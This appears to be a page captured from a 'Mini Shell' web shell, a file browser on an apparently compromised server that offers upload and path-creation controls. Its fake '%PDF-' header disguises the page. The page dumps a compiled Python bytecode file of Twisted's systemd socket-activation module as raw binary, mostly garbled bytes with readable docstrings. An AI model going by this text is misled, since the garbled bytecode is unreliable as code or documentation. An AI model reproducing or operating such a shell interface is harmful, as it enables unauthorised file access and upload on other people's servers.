%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/__pycache__/systemd.cpython-312.pyc

�

Ϫ�f����dZdgZddlmZddlmZmZmZmZm	Z	ddl
mZmZeGd�d��Z
dedeeefd	eefd
�Zdeeefd	e	efd�Zy)
z�
Integration with systemd.

Currently only the minimum APIs necessary for using systemd's socket activation
feature are supported.
�	ListenFDs�)�getpid)�Dict�List�Mapping�Optional�Sequence)�Factory�definec��eZdZUdZeeed<ee�Z	ee
ed<dZe		dde
ee
e
fde
eddfd	��Zdeefd
�Zdee
effd�Zy)
ra�
    L{ListenFDs} provides access to file descriptors inherited from systemd.

    Typically L{ListenFDs.fromEnvironment} should be used to construct a new
    instance of L{ListenFDs}.

    @cvar _START: File descriptors inherited from systemd are always
        consecutively numbered, with a fixed lowest "starting" descriptor.  This
        gives the default starting descriptor.  Since this must agree with the
        value systemd is using, it typically should not be overridden.

    @ivar _descriptors: A C{list} of C{int} giving the descriptors which were
        inherited.

    @ivar _names: A L{Sequence} of C{str} giving the names of the descriptors
        which were inherited.
    �_descriptors�_names�N�environ�start�returnc��|�ddlm}|}|�|j}tt	��|jd�k(rt
||�}t|�}ng}d}t|�t|�k7r	|gd�S|||�S)a�
        @param environ: A dictionary-like object to inspect to discover
            inherited descriptors.  By default, L{None}, indicating that the
            real process environment should be inspected.  The default is
            suitable for typical usage.

        @param start: An integer giving the lowest value of an inherited
            descriptor systemd will give us.  By default, L{None}, indicating
            the known correct (that is, in agreement with systemd) value will be
            used.  The default is suitable for typical usage.

        @return: A new instance of C{cls} which can be used to look up the
            descriptors which have been inherited.
        r)r�
LISTEN_PID�)	�osr�_START�strr�get�_parseDescriptors�_parseNames�len)�clsrr�_environ�descriptors�namess      �8/usr/lib/python3/dist-packages/twisted/python/systemd.py�fromEnvironmentzListenFDs.fromEnvironment.s���(�?�.��G��=��J�J�E��v�x�=�G�K�K��5�5�%6�u�g�%F�K�#.�w�#7�E��K��E��u�:��[�)�)��r�2�;���;��&�&�c�,�t|j�S)z6
        @return: The configured descriptors.
        )�listr
��selfs r!�inheritedDescriptorszListenFDs.inheritedDescriptors\s���D�%�%�&�&r#c�T�tt|j|j��S)zr
        @return: A mapping from the names of configured descriptors to
            their integer values.
        )�dict�ziprr
r&s r!�inheritedNamedDescriptorsz#ListenFDs.inheritedNamedDescriptorsbs ��
�C����T�%6�%6�7�8�8r#)NN)�__name__�
__module__�__qualname__�__doc__r	�int�__annotations__r
�tuplerrr�classmethodrrr"rr(rr,rr#r!rrs����$�3�-��#�E�N�F�H�S�M�*�
�F��04�#�+'��'�#�s�(�+�,�+'���}�+'�
�	+'��+'�Z'�d�3�i�'�9�4��S��>�9r#rrrc��	t|d�}tt|||z��}|d=|d=|S#ttf$rgcYSwxYw)a
    Parse the I{LISTEN_FDS} environment variable supplied by systemd.

    @param start: systemd provides only a count of the number of descriptors
        that have been inherited.  This is the integer value of the first
        inherited descriptor.  Subsequent inherited descriptors are numbered
        counting up from here.  See L{ListenFDs._START}.

    @param environ: The environment variable mapping in which to look for the
        value to parse.

    @return: The integer values of the inherited file descriptors, in order.
    �
LISTEN_FDSr)r1r%�range�KeyError�
ValueError)rr�countrs    r!rrjs_����G�L�)�*���5����
�6�7��
�L�!�7�<�#8����#
�j�!���	��s�0�A�Ac�x�|jdd�}t|�dkDrt|jd��Sy)z�
    Parse the I{LISTEN_FDNAMES} environment variable supplied by systemd.

    @param environ: The environment variable mapping in which to look for the
        value to parse.

    @return: The names of the inherited descriptors, in order.
    �LISTEN_FDNAMES�r�:r)rrr3�split)rr s  r!rr�s7��
�K�K�(�"�-�E�
�5�z�A�~��U�[�[��%�&�&�
r#N)r0�__all__rr�typingrrrrr	�attrsr
rrr1rrrrr#r!�<module>rCs���
��-���:�:�!��Q9�Q9��Q9�h!�S�!�7�3��8�+<�!��c��!�H���c��*��x��}�r#

Zerion Mini Shell 1.0